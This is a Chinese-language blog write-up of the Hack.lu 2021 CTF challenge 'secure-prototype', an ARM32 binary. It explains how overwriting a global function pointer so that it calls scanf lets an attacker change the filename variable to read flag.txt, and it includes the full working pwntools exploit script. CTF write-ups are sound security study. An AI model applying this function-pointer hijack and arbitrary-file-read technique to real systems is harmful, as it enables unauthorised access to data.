71's blog

宏願縱未了 奮鬥總不太晚

0%

Hack.lu ctf 2021

周末在给小朋友讲课aaa… 看题的时候已经快结束了😥趁远端还没挂赶紧复现一下🤩。自己做的题就放exp嗷(emm就1道),参考师傅们的就不复制了。

secure-prototype(low)

arm-32-little,Partial RELRO,Canary found,NX enabled,No PIE (0x10000)

注意到没开启PIE,应该比较容易利用…

程序还挺多功能,看上去有点像堆,实际上没用到uaf。

  • edit_func_ptr: 第一个参数赋值给 func_ptr(data段)。
  • calc_stonks: 调用 func_ptr(data段)计算
  • change_calc_add_mul: 切换加/乘法,用 func_ptr(data段)存储。
  • print_stonks: 打印当前的计算结果 stonks(bss段)。
  • show_old_stonks: 读 filename 存储的文件,free掉临时申请的chunk。
  • leak: 没啥用处,打印的 data段和 bss段的地址,都已知。

前两个功能,一个修改func一个调用func,相当于能执行任意函数了,调用时参数是两个。看了一下plt表,能有两个参数的就是 scanf 函数。感觉题目把txt文件读到全局变量上,而不是用到的时候再open-read-close,像是给了提示emm。刚好又能在rodata段找到“%s”,因此将func_ptr改成scanf,利用calc功能的调用把 ‘flag.txt’ 读到文件名变量上,再用 show 读目标文件。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
context(arch='arm',log_level='debug')
p=process(['qemu-arm','-L','/usr/arm-linux-gnueabi','./challenge.elf'])
elf=ELF('./challenge.elf')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

filename_addr=0x22058
#mul_func_addr=0x10828
#stonks_addr=0x00022064
scanf_plt=0x00010570
fmt_addr=0x111fc

def menu(num):
sl(str(num))
def send(a1='0',a2='0',a3='0'):
ru('parameters:')
sleep(1)#本地运行的时候发现数据收发有点延时,所以加个sleep
sl(a1+' '+a2+' '+a3)
sleep(1)
ru('(1 will help you)')
menu(1056)
send(str(scanf_plt))
menu(4919)
send(str(fmt_addr),str(filename_addr))
pause()
sl('flag.txt')
menu(48)
send('0')
rl()
it()